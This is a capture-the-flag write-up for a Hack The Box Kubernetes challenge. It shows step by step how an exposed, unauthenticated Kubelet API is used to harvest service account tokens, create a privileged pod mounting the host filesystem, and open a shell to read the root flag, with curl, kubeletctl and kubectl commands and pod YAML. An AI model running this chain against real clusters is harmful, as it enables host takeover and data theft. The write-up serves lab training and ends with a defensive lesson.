We’ve installed our Kubernetes cluster inside a steam powered computer, however there’s a lot of smoke, therefore we think a bolt is missing. Could you please investigate?

Category: cloud

Solver: t0b1

Flag: HTB{dOn7_3Xpo53_Ku83L37}

Writeup

According to the challenge description, we will face a Kubernetes cluster which we will have to exploit.

Using nmap, we find the following open ports, most of which appear to be known Kubernetes ports:

  • 22/tcp - ssh
  • 2379/tcp - etcd
  • 2380/tcp - etcd
  • 8443/tcp - Kubernetes API (normally on port 6433)
  • 10249/tcp - Kubelet API
  • 10250/tcp - Kubelet API
  • 10256/tcp - Kube-Proxy health check

First, we do some basic checks against the Kubernetes API port. A curl -k https://10.129.228.17/livezreturns ok. That shows the Kubernetes is alive and running. Next, we check whether the anonymous user has too much access rights by running curl -k -X GET -H 'Accept: application/json' https://10.129.228.17:8443/api/v1/namespaces/default/pods/. However, that is not the case, as we receive a message that the anonymous user is not allowed to list the pods.

Next, we examine the Kubelet API ports. We did not find any API documentation for the Kubelet API apart from the source code in the GitHub repository [1]. We check whether we can access the API and run curl -k https://10.129.228.17:10250/podsand voila, we receive a list of all pods running on the server! Apart from the default pods such as the kube-controller or coredns in the kube-system namespace, only an nginx container is running inside the default namespace. The nginx pod is running a single nginx:1.14.2 container which is not exposed to any node port.

Nevertheless, the Kubelet API is quite powerful and allows us to execute commands inside of pods. As using the API via curl is quite complex, we use the kubeletctl [2] tool written by CyberArk to ease the process. We run kubeletctl --server 10.129.228.17 scan token to scan for potentially available service account tokens using which we could interact with the Kubernetes API. We receive two tokens, one from the nginx pod in the default namespace and one from the kube-proxy pod in the kube-system namespace.

To check the permissions of the token, we configure kubectl accordingly using the following config.

apiVersion: v1
clusters:
- cluster:
    insecure-skip-tls-verify: true
    server: https://10.129.228.17:8443
  name: steamcloud
contexts:
- context:
    cluster: steamcloud
    namespace: kube-system
    user: kube-system
  name: kube-system
- context:
    cluster: steamcloud
    namespace: default
    user: nginx
  name: nginx
current-context: nginx
kind: Config
preferences: {}
users:
- name: kube-system
  user:
    token: <token>
- name: nginx
  user:
    token: <token>

Running kubectl config use-context nginx first, and a kubectl get pods afterward, in fact returns us all pods from the default namespace! For further access checks, we use kubectl auth can-i --listand find that we can create new pods!

Using the following basic YAML with kubectl apply -f test.yaml we validate that. Here, it helps that we found the nginx:1.14.2 image earlier, as the VM has no access to the internet and hence couldn’t pull any other Docker images.

apiVersion: v1
kind: Pod
metadata:
  name: test
spec:
  containers:
  - name: nginx
    image: nginx:1.14.2

Aaaand, kubectl returns pod/test created. Let’s check if we can create privileged pods and mount the host filesystem into it.

apiVersion: v1
kind: Pod
metadata:
  name: malicious
spec:
  containers:
  - name: nginx
    image: nginx:1.14.2
    securityContext:
      privileged: true
    ports:
    - containerPort: 80
    volumeMounts:
      - name: noderoot
        mountPath: /mnt/host
  volumes:
    - name: noderoot
      hostPath:
        path: /
        type: Directory

And again, pod/malicious created. However, our service account is not allowed to exec into containers. But, as we already noted earlier, we have access to the Kubelet API and can use it to execute commands inside containers. Using kubeletctl -i --server 10.129.228.17 exec "sh" -n default -p malicious -c nginxwe get a shell inside the malicious pod. Now, we find the hosts file system at /mnt/host and the flag at /mnt/host/root/flag.txt: HTB{dOn7_3Xpo53_Ku83L37}

The last steps of the process can also be seen on the following image:

flag.png

Trust the flag and don’t expose your Kubelet API!

Other resources

[1] https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/server/server.go

[2] https://github.com/cyberark/kubeletctl